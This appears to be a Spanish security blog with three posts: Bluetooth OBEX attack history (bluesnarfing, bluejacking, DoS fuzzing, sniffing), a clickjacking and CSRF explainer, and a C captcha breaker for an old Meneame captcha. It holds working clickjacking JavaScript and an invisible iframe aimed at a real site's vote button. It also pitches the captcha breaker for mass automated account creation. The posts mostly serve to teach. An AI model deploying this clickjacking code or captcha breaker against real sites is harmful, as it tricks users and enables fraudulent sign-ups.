“Dialup Networking” (0x1103)
Version: 0x0100

jcarlosn@localhost:~$

Son muchos servicios, pero si nos fijamos en lo que he puesto en negrita, podemos ver que hay un servidor OBEX FTP en el puerto 7 rfcomm.

Ademas hay otro servidor OBEX Object Push en el puerto 6, este otro protocolo también de obex, es similar a OBEX FTP (el cual es muy similar a un servidor ftp normal) pero mas simple, no permite listar el contenido de los directorios, y permite simplemente transferir archivos de uno en uno, estilo tftp.

Obex FTP se utiliza, normalmente, para comunicar el ordenador con el móvil, creando un directorio virtual, donde el contenido que vemos, es el del teléfono, mientras que Obex Object Push, se utiliza habitualmente para transferir contactos, imágenes, música, etc… entre dos móviles.

Sin embargo, tener en el móvil algo similar a un servidor ftp, y algo similar a un servidor TFTP, puede parecer peligroso, sin embargo, el móvil no permite que nadie se conecte a su servidor Obex Object Push, si el dueño del teléfono no acepta la conexión (le aparece una pregunta por pantalla, de si quiere aceptar el archivo), y para mas seguridad, para aceptar una conexión al servidor Obex FTP, se ha de introducir un número en el móvil, que hace las veces de contraseña, y luego introducir el mismo número en el dispositivo que intenta conectarse al servidor Obex FTP.

Es decir, que cuando a alguien le aparece en el móvil que existe un dispositivo que intenta conectarse a el (a su servidor Obex FTP) el dueño del móvil debe aceptarlo, y además, deberá pensar algún número aleatorio, e introducirlo en la caja de texto que le aparece, entonces, debe introducirse ese mismo número, en el dispositivo que intenta conectar.

Ese número se utiliza para cifrar los datos de la conexión.

Ahora que ya sabemos como va todo esto, podemos echar un vistazo al pasado…

Seguramente todos habéis oído hablar de vulnerabilidades que permiten robar información de los móviles vía bluetooth, la forma mas famosa es conocida como “bluesnarf“, la cual se basa en que algunos viejos móviles no requerían que el dueño del teléfono aceptase la conexión, para que un tercero, se conectase a su servidor Obex Object Push.

Por lo cual, lo que hacían era conectarse a tu teléfono vía bluetooth, consultar el servicio sdp para saber si hay algún servidor Obex Object Push, y saber en que puerto está, conectarse a el, y pedir los archivos de la libreta de contactos, los sms, etc…así de simple, simplemente se basa en utilizar un servidor instalado en el móvil, en un puerto bluetooth.

Ademas, algunos móviles permiten que se les envíen contactos vía bluetooth sin requerir confirmación, y ahí nació otro conecto: el bluejacking.

El bluejacking, a diferencia del bluesnarfing, no busca robar información de nadie, simplemente se basa en que alguien coge un móvil, va por la calle escaneando en busca de dispositivos bluetooth cercanos, y cuando encuentra alguno, le manda un contacto vía Obex Object Push, y en el nombre del contacto, pone alguna frase. Cuando el otro lo recibe y lo ve, lee la frase que hay en el campo nombre.

A raíz de esto aparecieron pequeñas aplicaciones (midlets) en java para móviles, que permiten definir un mensaje, y escanean sin parar vía bluetooth, envíando ese mensaje en forma de contacto, a todos los móviles con los que te cruzas. Una de ellas es EasyJack, disponible aquí.

Cuando los fabricantes de telefonos móviles reaccionaron, y empezaron a requerir que el usuario acepte la conexiones al servidor Obex Object Push, y que haga falta poner un PIN y todo eso, para conectar al servidor Obex FTP del telefono, el hacking a dispositivos bluetooth pasó a ser historia del pasado.

Sin embargo, se crearon algunas nuevas ideas para atacar móviles con bluetooth, la primera es el DoS, que consiste en buscar formas de clavar o congelar el móvil, a base de mandarle paquetes L2CAP malformados, o cosas similares.

Entorno a esta idéa, salieron varios bugs publicados, como este, que envíando paquetes L2CAP malformados, el móvil se congela hasta que lo reinicies.

Además, apareció una herramienta para GNU/Linux que, llamada bss, que crear paquetes L2CAP malformados sin parar, y los envía a la dirección bluetooth que le indiques, si en algún momento el móvil le deja de contestar los paquetes bluetooth, te dice el paquete que ha provocado que el móvil pete, con esta herramienta sacaron la mayoría de bugs de DoS a móviles.

La otra vertiente por la que se empezó a explorar la seguridad bluetooth, fue la de que ya que bluetooth son ondas de radio, nada nos debería impedir poder sniffear todas las ondas que llegan a nuestro receptor, y de ahí, espiar conversaciones bluetooth, etc.

Sin embargo, para eso existe un problema, el FHSS comentado mas arriba, es decir, el hecho de que bluetooth utiliza 79 frecuencias diferentes, entre las que va saltando de forma aleatoria, y solo el emisor y el receptor que acordaron esos saltos, saben el orden en el que se producen.

Para un dispositivo bluetooth normal, es imposible escuchar en 79 frecuencias distintas a la vez, por las que pueden estar saltando el emisor y el receptor, y a menos que conozca el orden en el que saltan, no conseguirá nada.

Sin embargo, había gente que insinuaba que se podía sniffear usando un dispositivo bluetooth normal, aún y con el problema de las 79 frecuencias, por lo cual, Max Moser, se decidió a escribir un pdf intentando desvelar si eso era posible o no.

En el PDF, utiliza un producto privativo, llamado FTS4BT, de la empresa FrontLine, que consiste en un firmware modificado para los bluetooth con chipset CSR (Cambridge Silicon Radio), un driver .sys para windows, y un programa que interactúa con el driver.

Después de eso, no tardó en aparecer un tutorial paso a paso para linux para modificar tu bluetooth usb con ese firmware.

Al poco tiempo, salió un nuevo paper sobre el tema, bastante mas completo, y muchísimo mas técnico, bastante interesante.

Y hasta aquí ha llegado la ciencia de la seguridad en bluetooth, hace relativamente poco (un año) que el sniffing en bluetooth es algo extendido, por lo cual, habrá que esperar que se consigue con esta nueva posibilidad.

La verdad, es que he intentado hacer este documento lo mas simple posible, pero creo que no lo he conseguido, en el fondo es un tema complejo, aunque espero haber contribuido un poco en un tema tan indocumentado como este.

Clickjacking a fondo y con ejemplos

Hoy voy a cumplir un poco con mi fama de obsesionado por la seguridad, y voy a escribir un artículo sobre clickjacking, ese extraño y misterioso término que no para de aparecer por la blogosfera y las páginas de noticias…

Y es que en seguridad informática, todos los días suceden cosas graves, pero algunas, saltan a los medios populares, se convierten en “noticia” y perciben cierto protagonismo, como si otros problemas de seguridad, no fuesen igual de recientes y graves…pero vaya, esto es como cuando un caso de asesinato salta a la prensa amarillista: lo mismo.

El clickjacking no es un agujero de seguridad en si mismo, es una forma de darle la vuelta a las tecnologías que utilizamos hoy en día, para engañar al usuario y hacerle creer que ciertas cosas, son lo que realmente no son.

Este ataque consiste en cargar una página web externa dentro de un iframe invisible (con opacidad 0, por ejemplo) y poner debajo del iframe invisible (con menor z-index), elementos xhtml para que el usuario haga click, pero que realmente, tienen el iframe invisible encima, y es quien recibirá el click.

Dicho de otra forma, imaginaos un cristal (opacidad 0) con algo debajo, intentamos tocar con el dedo lo que hay debajo, pero tocamos el cristal, esto es lo mismo que sucede cuando ponemos un iframe con opacidad 0 (invisible) encima de ciertos elementos de nuestra web: el usuario irá a hacer click en nuestros elementos, pero hará click dentro del iframe.

Ahora imaginemos que cargamos en el iframe una página de noticias, como meneame, fresqui, o digg, lo volvemos transparente, y debajo metemos un botón que diga: haz click aquí, posicionándolo justo exactamente debajo de donde aparece el botón para votar a la noticia, dentro de la página de noticias.

Cuando el usuario haga click en nuestro botón, que está debajo del iframe transparente, justo donde está el botón para votar de la web de noticias que hay cargada dentro del iframe, hará click en el botón votar de la pagina que hay dentro del iframe.

Creo que lo mejor para acabar de entenderlo es una imagen:

Sin embargo, muchos de vosotros pensaréis: y para que tanta historia, si para simular el click de un usuario, podemos realizar la petición, cargando un iframe con la dirección de destino?…es decir, podemos realizar un ataque CSRF (Cross-site request forgery).

Para entrar bien a fondo en el tema del clickjacking, tenemos que comprender primero los ataques CSRF, ya que el clickjacking es una extensión de los CSRF (a mi modo de verlo :).

Un ataque CSRF consiste en que si en una web, digamos: http://www.example.com, hay una página de noticias, y para votar una noticia, digamos la noticia número 51, se usa un enlace tal como:

http://www.example.com/noticias.php?votar=51

Podríamos crear una página con un iframe invisible apuntando a esa dirección, y cuando el usuario entre a nuestra web, sin saberlo, votará la noticia 51.

Eso es un típico ejemplo de CSRF.

Sin embargo, cuando ese tipo de ataques empezó a popularizarse, muchos sitios web, como meneame, fresqui, etc empezaron a agregar números de control a las peticiones, es decir, para realizar acciones en la web, las peticiones deben incluir un número aleatorio que te dan cuando cargas la página, de esta forma, sin ese número, no puedes hacer una petición como la anterior y votar una noticia, además, el número de control cambia por cada petición que haces.

Con esta técnica, parecía que los CSRF habían muerto, y ahí es donde aparece el clickjacking, podemos crear una web, y utilizar lo explicado arriba, para inducir a un usuario a hacer click en un botón, que realmente tiene encima, de forma invisible, un botón de otra web.

De esta forma, los números de control son enviados por el javascript de la página original, y todo sucede de forma normal.

Cabe decir, después de toda esta explicación, que existen alguna páginas que no son vulnerables a este ataque, como por ejemplo meneame, ya que no permite que cargues la web dentro de un iframe, lo mismo pasa con gmail, entre otras.

Aunque a mi me gusta hacer los experimentos con meneame, contactar con Ricardo antes de publicar nada, para que lo arregle, y entonces hacer el artículo, esta vez no puedo, por que meneame no es vulnerable a clickjacking, así que voy a hacer el experimento con fresqui.

He creado una página que utilizando las técnicas de clickjacking, crea un botón, que de pulsarlo, estarías votando esta noticia de fresqui:

http://tec.fresqui.com/cientificos-descubren-que-el-sol-no-es-una-esfera-perfecta

El ejemplo, lo podéis ver aquí, y solo funciona en firefox (paso de internet explorer :):

http://eyeideas.es/clickjacking.html

Como se puede ver en el código, hay una función javascript:

function initBoton() {
var obj = document.getElementById(“boton”);
var myWidth = 0, myHeight = 0;
if( typeof( window.innerWidth ) == ‘number’ ) {
//Non-IE
myWidth = window.innerWidth;
myHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
//IE 6+ in ‘standards compliant mode’
myWidth = document.documentElement.clientWidth;
myHeight = document.documentElement.clientHeight;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
//IE 4 compatible
myWidth = document.body.clientWidth;
myHeight = document.body.clientHeight;
}
var finalW = myWidth-910;
finalW = finalW/2;
//910-722 = 188 (mas tamaño…238)
finalW = finalW + 248;
obj.style.position=’absolute’;
obj.style.right=finalW+’px’;
obj.style.top=’244px’;
obj.style.display=’block’;
}

Que de forma un poco sucia, posiciona el botón rojo justo debajo del botón para votar la noticia en fresqui.

El iframe es algo así:

<iframe src=”http://tec.fresqui.com/cientificos-descubren-que-el-sol-no-es-una-esfera-perfecta&#8221; style=”opacity:0;position:absolute;top:0px;left:0px;width:99%;height:95%;margin:0px;padding:0px;z-index:100;”></iframe>

Como conclusión, decir que el ataque no es tan peligroso como lo pintan, aunque tiene su potencial impacto en la seguridad del usuario.

Por cierto, el ejemplo no se lo bien que irá en otras resoluciones y tal, he intentado hacerlo bastante portable, pero no lo he probado en otro sistema mas que el mio, es una simple prueba de concepto.

Rompiendo el antiguo captcha de meneame!

Hoy para variar, hago un post un poco mas práctico que los anteriores.

El caso es que estoy ayudando a mi novia a entender C/C++, sistemas y todo eso, así que decidí que hoy programaría algo con ella (algo simple,para empezar) y como no se me ocurría nada mas ameno, pensé en programar un programa en C, que usando libjpeg, fuese capaz de leer una imagen del viejo captcha clásico de meneame (como el que usan en enchilame para el registro) y sacar los números que hay en la imagen.

Nada mas empezar, nos dimos cuenta de que los números de ese captcha, siempre salen en la misma posición, tamaño y medida, además del mismo color y misma fuente, solo varía un poco el fondo, pero poco.

Para localizar los pixeles que pertenecen a un dígito y no al fondo, basta con comprobar si su nivel de azul (colores RGB) es mayor que 100.

El programa básicamente lo que hace es leer la imagen, linea a linea (linea de pixeles) y comprobar que pixeles están con azul mayor que 100, en la linea 20, lo cual es suficiente para distinguir todo los números.

El programa junto con una imagen de ejemplo, lo podéis bajar de aquí:

Enlace

Se compila con:

gcc -ljpeg image.c -o image

Y tiene como dependencia libjpeg (y libjpeg-dev para sistemas basados en debian)

Al ejecutarlo, lee el archivo image.jpeg de su mismo directorio, y muestra por la salida estandar, los números contenidos dentro de la imagen.

Con este pequeño programa y un script en bash bastante sencillo, uno puede dar de alta cuantas cuentas como quiera, de forma automatizada en páginas que usen las versión de meneame sin recaptcha.

Prueba con el programa compilado y la imagen que viene el .tar.gz:

jcarlosn@linux-wnp3:~/captcha> ./image
724160
jcarlosn@linux-wnp3:~/captcha>

Tiene en principio, un 100% de efectividad.